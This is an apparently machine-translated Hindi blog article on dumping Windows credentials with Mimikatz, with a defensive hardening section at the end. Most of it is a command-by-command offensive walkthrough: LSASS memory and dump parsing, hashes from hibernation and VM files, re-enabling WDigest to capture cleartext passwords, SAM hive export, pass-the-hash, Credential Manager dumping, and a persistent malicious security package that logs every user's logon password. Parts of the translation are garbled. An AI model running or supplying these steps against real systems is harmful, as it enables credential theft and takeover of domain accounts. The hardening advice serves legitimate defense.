विंडोज सुरक्षा के लिए समर्पित श्रृंखला के एक भाग के रूप में लिखे गए इस लेख में, हम Mimikatz का उपयोग करके सभी सक्रिय विंडोज उपयोगकर्ताओं के पासवर्ड प्राप्त करने के लिए काफी सरल विधि सीखेंगे। उपकरण।
Mimikatz.exe
विंडोज मेमोरी, पासवर्ड हैश, केर्बरोस टिकट, आदि से सादा पाठ पासवर्ड निकाल सकते हैं। साथ ही, मिमिकेट्ज आपको पास-द-हैश, पास-द-टिकट हमले करने या गोल्डन केर्बेरोज टिकट उत्पन्न करने की अनुमति देता है। Mimikatz कार्यक्षमता Metasploit Framework में भी उपलब्ध है।
आप mimikatz . डाउनलोड कर सकते हैं GitHub रेपो से:https://github.com/gentilkiwi/mimikatz/releases/। Mimikatz_trunk.zip संग्रह को C:\Tools\mimikatz में निकालें। इस निर्देशिका में mimikatz के दो संस्करण दिखाई देंगे - x64 और x86 के लिए। अपने विंडोज़ बिटनेस के लिए संस्करण का प्रयोग करें।
इस लेख में, हम आपको दिखाएंगे कि मिमिकेट्ज का उपयोग करके विंडोज सर्वर 2016 या विंडोज 10 में यूजर पासवर्ड कैसे प्राप्त करें।
अस्वीकरण. इस लेख में वर्णित सूचना और प्रौद्योगिकियों का उपयोग केवल सूचना के उद्देश्यों के लिए किया जाना चाहिए न कि तीसरे पक्ष के खातों, डेटा और सिस्टम तक पहुंच प्राप्त करने के लिए।
LSASS में Mimikatz के साथ विंडोज हैशेड पासवर्ड हैक करना
आइए विंडोज सर्वर 2016 चलाने वाले आरडीएस सर्वर पर विंडोज मेमोरी (lsass.exe प्रक्रिया - स्थानीय सुरक्षा प्राधिकरण सबसिस्टम सर्विस) से सभी लॉग इन उपयोगकर्ताओं के पासवर्ड हैश को डंप करने का प्रयास करें।
एलिवेटेड कमांड प्रॉम्प्ट में निम्न कमांड चलाएँ:
- चलाएं
Mimikatz.exe
एक व्यवस्थापक के रूप में; - निम्न आदेश चालू खाते को प्रक्रियाओं को डीबग करने की अनुमति देगा (SeDebugPrivilege):
privilege::debug
- सक्रिय उपयोगकर्ता सत्रों की सूची बनाएं:
sekurlsa::logonPasswords full
- मेरे मामले में सर्वर पर मेरे खाते के अलावा दो उपयोगकर्ताओं के सक्रिय सत्र हैं:
novach
औरadministrator
। - उनके NTLM हैश को कॉपी करें (स्क्रीनशॉट में हाइलाइट किया गया)।
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tmp\mimikatz_output.txt
अब आप किसी भी ऑफ़लाइन का उपयोग कर सकते हैं (एक hashcat
. है काली लिनक्स में टूल) या एनटीएलएम हैश को डिक्रिप्ट करने के लिए एक ऑनलाइन सेवा। मैं https://crackstation.net/ सेवा का उपयोग करूंगा।
जैसा कि आप देख सकते हैं, सेवा को इन NTLM हैश के लिए शीघ्र ही मान मिल गए। यानी, हमें स्पष्ट पाठ में उपयोगकर्ता पासवर्ड प्राप्त हुए।
कल्पना कीजिए कि यह एक RDS होस्ट है जिसमें कई समवर्ती उपयोगकर्ता और एक एंटरप्राइज़ व्यवस्थापक सत्र है। यानी, यदि आपके पास इस सर्वर पर स्थानीय व्यवस्थापकीय विशेषाधिकार हैं, तो आप डोमेन व्यवस्थापक पासवर्ड भी प्राप्त कर सकते हैं।
यदि आप विंडोज उपयोगकर्ताओं के लिए जटिल पासवर्ड का उपयोग करते हैं, तो उन्हें डिक्रिप्ट करना अधिक कठिन होगा। इसलिए, हमेशा GPO के माध्यम से पासवर्ड जटिलता को सक्षम करें और AD डोमेन में पासवर्ड की ताकत का नियमित ऑडिट करें।
जैसा कि आप देख सकते हैं, mimikatz के लिए धन्यवाद, हमें सभी सक्रिय उपयोगकर्ताओं के NTLM हैश मिले! आदेश सफल रहा क्योंकि इस कंप्यूटर पर डीबग मोड सक्षम है, जो आपको SeDebugPrivilege सेट करने की अनुमति देता है वांछित प्रक्रिया के लिए ध्वज। इस मोड में, प्रोग्राम सिस्टम की ओर से शुरू की गई प्रक्रियाओं की मेमोरी तक निम्न-स्तरीय पहुंच प्राप्त कर सकते हैं।
नोट . जून 2017 में, कई देशों में कई बड़ी कंपनियां NotPetya रैंसमवेयर से संक्रमित थीं, जो उपयोगकर्ताओं और डोमेन व्यवस्थापकों के पासवर्ड एकत्र करने के लिए बिल्ट-इन mimikatz मॉड्यूल का उपयोग करती थीं।Windows मेमोरी डंप से उपयोगकर्ता के पासवर्ड कैसे प्राप्त करें?
यदि कोई एंटीवायरस उस ब्लॉक इंजेक्शन को स्थापित करता है तो पासवर्ड हैश प्राप्त करने की उपरोक्त विधि काम नहीं करेगी। इस मामले में, लक्ष्य होस्ट पर LSASS प्रक्रिया का मेमोरी डंप बनाना होगा, इसे अपने कंप्यूटर पर कॉपी करें और mimikatz का उपयोग करके पासवर्ड हैश निकालें।
विंडोज़ में किसी प्रक्रिया का मेमोरी डंप बनाना काफी आसान है। कार्य प्रबंधक प्रारंभ करें, lsass.exe प्रक्रिया का पता लगाएं, उस पर राइट-क्लिक करें और डंप फ़ाइल बनाएं चुनें ।
विंडोज मेमोरी डंप को सिस्टम 32 फोल्डर में सेव करेगा।
आपको बस डंप फ़ाइल को mimikatz का उपयोग करके पार्स करना है (आप इस कार्य को किसी अन्य कंप्यूटर पर कर सकते हैं)। मेमोरी डंप को mimikatz में लोड करें:
Mimikatz “sekurlsa::minidump C:\Users\username\AppData\Local\Temp\lsass.DMP”
डंप से उपयोगकर्ता नाम और उनका पासवर्ड हैश प्राप्त करें:
# sekurlsa::logonPasswords
आप दूरस्थ कंप्यूटर से psexec का उपयोग करके, या WinRM (यदि आपके पास व्यवस्थापकीय विशेषाधिकार हैं) के माध्यम से मेमोरी डंप प्राप्त कर सकते हैं, और इससे उपयोगकर्ता का पासवर्ड निकाल सकते हैं।
आप procdump
. का भी उपयोग कर सकते हैं डंप प्राप्त करने के लिए Sysinternals से टूल:
procdump -ma lsass.exe lsass.dmp
LSASS प्रक्रिया का मेमोरी डंप PowerShell में Out-Minidump.ps1 फ़ंक्शन के साथ प्राप्त किया जा सकता है। PoSh सत्र में आउट-मिनीडम्प फ़ंक्शन आयात करें और LSASS प्रक्रिया का मेमोरी डंप बनाएं:
Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidump
Hyberfil.sys और VM पृष्ठ फ़ाइलों से Windows पासवर्ड निकालना
मेमोरी डंप फाइल, सिस्टम हाइबरनेशन फाइल्स (hiberfil.sys), और से यूजर पासवर्ड निकालना भी संभव है। वर्चुअल मशीन फ़ाइलों का vmem (वर्चुअल मशीन पेजिंग फ़ाइलें और उनके स्नैपशॉट)।
ऐसा करने के लिए, आपको Windows के लिए डिबगिंग टूल . की आवश्यकता होगी (WinDbg), मिमिकेट्ज स्वयं और एक उपकरण .vmem को मेमोरी डंप फ़ाइल में बदलने के लिए (Hyper-V में, यह vm2dmp.exe या VMWare vmem-files के लिए MoonSols Windows मेमोरी टूलकिट हो सकता है)।
उदाहरण के लिए, VMWare वर्चुअल मशीन की vmem पेज फ़ाइल को डंप में बदलने के लिए, इस कमांड का उपयोग करें:
bin2dmp.exe "wsrv2008r2-1.vmem" vmware.dmp
डंप को WinDbg में आयात करें (फ़ाइल -> क्रैश डंप खोलें), mimikatz लाइब्रेरी लोड करें mimilib.dll:
.load mimilib.dll
डंप में lsass.exe प्रक्रिया खोजें:
!process 0 0 lsass.exe
और अंत में, टाइप करें:
.process /r /p fffffa800e0b3b30
!mimikatz
नतीजतन, आपको विंडोज़ उपयोगकर्ताओं की एक सूची मिलेगी, और उनके पासवर्ड के एनटीएलएम हैश, या यहां तक कि स्पष्ट टेक्स्ट पासवर्ड भी मिलेंगे।
WDigest का उपयोग करके स्पष्ट-पाठ में Windows पासवर्ड निकालना
आप WDigest . का उपयोग कर सकते हैं पुराने Windows संस्करणों पर HTTP डाइजेस्ट प्रमाणीकरण के लिए प्रोटोकॉल। इस प्रोटोकॉल का मुख्य सुरक्षा दोष यह है कि यह उपयोगकर्ता के पासवर्ड को हैश के बजाय स्पष्ट पाठ में मेमोरी में संग्रहीत करता है। Mimikatz आपको इन पासवर्ड को LSASS.EXE प्रक्रिया की मेमोरी से निकालने की अनुमति देता है।
WDigest प्रोटोकॉल विंडोज के सभी नए संस्करणों में डिफ़ॉल्ट रूप से अक्षम है, जिसमें विंडोज 10 और विंडोज सर्वर 2016/2019 शामिल हैं। लेकिन पूरी तरह से नहीं हटाया गया। यदि आपके पास विंडोज़ में स्थानीय व्यवस्थापक अनुमतियां हैं, तो आप WDiget प्रोटोकॉल को सक्षम कर सकते हैं, उपयोगकर्ताओं के लॉग इन करने और उनके पासवर्ड चुराने की प्रतीक्षा कर सकते हैं।
विंडोज़ पर Wdigest सक्षम करें:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
समूह नीति सेटिंग रीफ़्रेश करें:
gpupdate /force
उपयोगकर्ताओं के लॉग इन करने और उनके पासवर्ड को mimikatz के साथ प्राप्त करने के लिए प्रतीक्षा करें (उपयोगकर्ता को विंडोज 10 पर फिर से लॉगिन करने की आवश्यकता है; विंडोज सर्वर 2016 पर, यह स्क्रीन लॉक होने के बाद सत्र को अनलॉक करने के लिए पर्याप्त है):
privilege::debug
sekurlsa::wdigest
जैसा कि आप देख सकते हैं, wdigest सेक्शन में स्पष्ट टेक्स्ट में उपयोगकर्ता का पासवर्ड होता है:
SAM से स्थानीय उपयोगकर्ता पासवर्ड हैश निकालना
Mimikatz के साथ, आप SAM से स्थानीय विंडोज उपयोगकर्ताओं (अंतर्निहित व्यवस्थापक खाते सहित) के पासवर्ड हैश को निकाल सकते हैं:
privilege::debug
token::elevate
lsadump::sam
आप NTLM हैश को रजिस्ट्री SAM हाइव से भी निकाल सकते हैं।
- सिस्टम और एसएएम रजिस्ट्री हाइव्स को फाइलों में निर्यात करें:
reg save hklm\sam c:\tmp\sam.hiv
reg save hklm\security c:\tmp\sec.hiv
- फिर पासवर्ड हैश को डंप करने के लिए Mimikatz का उपयोग करें:
privilege::debug
token::elevate
lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv
Mimikatz के माध्यम से पास-द-हैश अटैक करना
यदि उपयोगकर्ता के पास एक मजबूत पासवर्ड है और आप इसे NTLM हैश को जल्दी से डिक्रिप्ट नहीं कर सकते हैं, तो Mimikatz का उपयोग पास-द-हैश (हैश पुन:उपयोग) हमले को करने के लिए किया जा सकता है। इस मामले में, लक्ष्य उपयोगकर्ता की ओर से प्रक्रियाओं को चलाने के लिए हैश का उपयोग किया जा सकता है। उदाहरण के लिए, यदि आप किसी उपयोगकर्ता के पासवर्ड का NTLM हैश डंप करते हैं, तो निम्न कमांड उस खाते के अंतर्गत एक कमांड प्रॉम्प्ट चलाएगा:
privilege::debug
sekurlsa::pth /user:Administrator /domain:woshub /ntlm:e91ccf23eeeee21a12b6709de24aa42 /run:powershell.exe
साथ ही, आप
Invoke-TheHash
. का उपयोग कर सकते हैं दूरस्थ यात्रियों पर कमांड निष्पादित करने के लिए NTLM क्रेडेंशियल्स का पुन:उपयोग करने के लिए उपकरण। Windows क्रेडेंशियल मैनेजर से पासवर्ड डंप करना
विंडोज़ में, आप विंडोज़ क्रेडेंशियल मैनेजर में पासवर्ड सहेज सकते हैं (ये TERMSRV/hostname1
में दूरस्थ कंप्यूटर, वेबसाइटों, RDP क्रेडेंशियल्स तक पहुँचने के लिए पासवर्ड हो सकते हैं। प्रारूप)। Mimikatz इन पासवर्ड को क्रेडेंशियल मैनेजर से निकाल सकता है और आपको उन्हें दिखा सकता है:
privilege::debug
sekurlsa::credman
जैसा कि आप देख सकते हैं, सहेजा गया पासवर्ड क्रेडमैन . के अंतर्गत दिखाया गया है अनुभाग।
विंडोज़ ऑटोलॉगन पासवर्ड स्पष्ट पाठ में रजिस्ट्री में संग्रहीत हैं। सहेजे गए वाई-फाई पासवर्ड निकालना भी आसान है।
विंडोज लॉगऑन पासवर्ड को क्लियर टेक्स्ट में डंप करना
विंडोज़ में पासवर्ड डंप करने का एक और दिलचस्प तरीका एक अतिरिक्त एसएसपी प्रदाता (सुरक्षा सहायता प्रदाता) का उपयोग करना है जो मिमिकेट्ज़ द्वारा संचालित है।
- Mimikatz लाइब्रेरी फ़ाइल mimilib.dll को फ़ोल्डर C:\Windows\System32\; में कॉपी करें
- एक अतिरिक्त एसपीपी प्रदाता को कमांड के साथ पंजीकृत करें:
reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
- जब प्रत्येक उपयोगकर्ता विंडोज़ पर लॉग ऑन करता है, तो उनका पासवर्ड kiwissp.log फ़ाइल में लिखा जाएगा। आप PowerShell का उपयोग करके सभी पासवर्ड प्रदर्शित कर सकते हैं:
Get-Content C:\Windows\System32\kiwissp.log<
/li>
Windows को क्रेडेंशियल डंपिंग हमलों से सुरक्षित रखें
Windows 8.1 और Windows Server 2012 R2 (और नए) में, LSASS से पासवर्ड चुराने की क्षमता सीमित है। LM हैश और पासवर्ड डिफ़ॉल्ट रूप से इन Windows संस्करणों में स्मृति में संग्रहीत नहीं होते हैं।
वही कार्यक्षमता विंडोज के पुराने संस्करणों (7/8/2008R2/2012) में बैकपोर्ट की जाती है, जिसमें आपको एक विशेष अपडेट KB2871997 इंस्टॉल करने की आवश्यकता होती है। (अद्यतन सिस्टम की सुरक्षा बढ़ाने के लिए अन्य विकल्प प्रदान करता है) और रजिस्ट्री कुंजी में HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest DWORD पैरामीटर सेट करें LogonCredential का उपयोग करें से 0 . तक (WDigest अक्षम है)।
यदि आप इस अद्यतन और UseLogonCredential कुंजी को स्थापित करने के बाद स्मृति से पासवर्ड निकालने का प्रयास करते हैं, तो आप देखेंगे कि mimikatz creds_wdigest कमांड का उपयोग करके पासवर्ड और हैश को डंप नहीं कर सकता है।
ऊपर, हमने दिखाया कि यदि आपके पास स्थानीय व्यवस्थापक अनुमतियाँ हैं, तो आप आसानी से इस reg कुंजी को एक कमजोर मान पर कैसे सेट कर सकते हैं। उसके बाद, आप एलएसए मेमोरी में पासवर्ड को फिर से एक्सेस कर सकते हैं।
Mimikatz में, मेमोरी से पासवर्ड और उनके हैश प्राप्त करने के लिए अन्य विकल्प हैं (WDigest, LM-hash, NTLM-hash, Kerberos टिकट कैप्चर करने के लिए मॉड्यूल)। इसलिए सुरक्षा के लिए निम्नलिखित सुरक्षा उपायों को लागू करने की अनुशंसा की जाती है:
- प्रतिवर्ती एन्क्रिप्शन का उपयोग करके पासवर्ड संग्रहीत करने से रोकें;
- WDigest अक्षम करें;
- क्रेडेंशियल मैनेजर में पासवर्ड सेव करने से रोकें;
- NTLM अक्षम करें;
- डोमेन उपयोगकर्ता क्रेडेंशियल के कैशिंग को रोकें (CachedLogonsCount . द्वारा) रजिस्ट्री पैरामीटर या समूह नीति विकल्प इंटरैक्टिव लॉगऑन नीति:कैश करने के लिए पिछले लॉगऑन की संख्या );
- यदि डोमेन कार्यात्मक स्तर Windows Server 2012 R2 या नया है, तो आप विशेष संरक्षित उपयोगकर्ताओं में व्यवस्थापक खाते जोड़ सकते हैं समूह । इस मामले में, ऐसे उपयोगकर्ताओं के लिए NTLM हैश जेनरेट नहीं किया जाएगा।
- एलएसए प्रक्रिया सुरक्षा सक्षम करें:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f
जोड़ें (यह सेटिंग केवल Microsoft द्वारा हस्ताक्षरित प्रक्रियाओं को LSASS मेमोरी तक पहुंचने की अनुमति देगी, आप इस reg कुंजी को GPO के माध्यम से डोमेन में तैनात कर सकते हैं); - प्रक्रिया की एलएसए सामग्री की सुरक्षा के लिए क्रेडेंशियल गार्ड का उपयोग करें;
- स्थानीय व्यवस्थापकों के लिए भी डिबग विशेषाधिकार प्राप्त करने से रोकें:GPO -> Windows सेटिंग्स -> सुरक्षा सेटिंग्स -> स्थानीय नीतियां -> उपयोगकर्ता अधिकार असाइनमेंट -> डीबग प्रोग्राम (हालांकि, यदि आपके पास स्थानीय सिस्टम अनुमतियाँ हैं या इस तरह हैं तो इसे आसानी से दरकिनार कर दिया जाता है)
निष्कर्ष। एक बार फिर, हम आपको कुछ प्रमुख सुरक्षा अवधारणाओं की याद दिलाते हैं।
- विभिन्न सेवाओं के लिए समान पासवर्ड का उपयोग न करें (विशेषकर, तृतीय पक्षों के स्वामित्व वाले RDP/RDS होस्ट तक पहुँचने के लिए);
- क्लाउड में वर्चुअल मशीन पर संग्रहीत अपने पासवर्ड और डेटा की सुरक्षा के बारे में सोचें, क्योंकि आप यह सुनिश्चित नहीं कर सकते हैं कि हाइपरवाइजर और स्टोरेज तक किसकी पहुंच है, जिस पर वर्चुअल मशीन फाइलें स्थित हैं;
- वैश्विक या स्थानीय व्यवस्थापकीय विशेषाधिकार वाले खातों की संख्या कम से कम करें (Windows परिवेश में व्यवस्थापक खातों को सुरक्षित करने वाली मार्गदर्शिका देखें);
- डोमेन व्यवस्थापक खाते के अंतर्गत सर्वर और अन्य उपयोगकर्ताओं के लिए सुलभ कंप्यूटर पर कभी भी लॉग ऑन न करें।